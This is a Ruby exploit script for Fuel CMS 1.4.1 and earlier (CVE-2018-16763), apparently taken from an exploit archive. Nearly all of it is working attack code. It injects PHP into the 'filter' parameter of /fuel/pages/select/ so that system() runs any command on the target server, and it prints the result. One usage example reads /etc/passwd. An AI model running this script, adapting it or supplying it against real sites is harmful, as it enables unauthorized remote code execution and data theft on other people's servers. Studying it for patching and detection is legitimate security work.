Fuel CMS 1.4 Remote Code Execution

`#!/usr/bin/env ruby  
  
# Title: Fuel CMS 1.4 - Remote Code Execution  
# Exploit Author: Alexandre ZANNI  
# Date: 2020-11-14  
# Vendor Homepage: https://www.getfuelcms.com/  
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1  
# Version: <= 1.4.1  
# Tested on: Ubuntu 16.04  
# CVE : CVE-2018-16763  
# References: https://www.exploit-db.com/exploits/47138  
  
require 'httpclient'  
require 'docopt'  
  
# dirty workaround to ignore Max-Age  
# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932  
$VERBOSE = nil  
  
doc = <<~DOCOPT  
Fuel CMS 1.4 - Remote Code Execution  
  
Usage:  
#{__FILE__} <url> <cmd>  
#{__FILE__} -h | --help  
  
Options:  
<url> Root URL (base path) including HTTP scheme, port and root folder  
<cmd> The system command to execute  
-h, --help Show this screen  
  
Examples:  
#{__FILE__} http://example.org id  
#{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'  
DOCOPT  
  
def exploit(client, root_url, cmd)  
url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"  
  
res = client.get(url)  
  
/system(.+?)<div/mx.match(res.body).captures[0].chomp  
end  
  
begin  
args = Docopt.docopt(doc)  
clnt = HTTPClient.new  
puts exploit(clnt, args['<url>'], args['<cmd>'])  
rescue Docopt::Exit => e  
puts e.message  
end  
`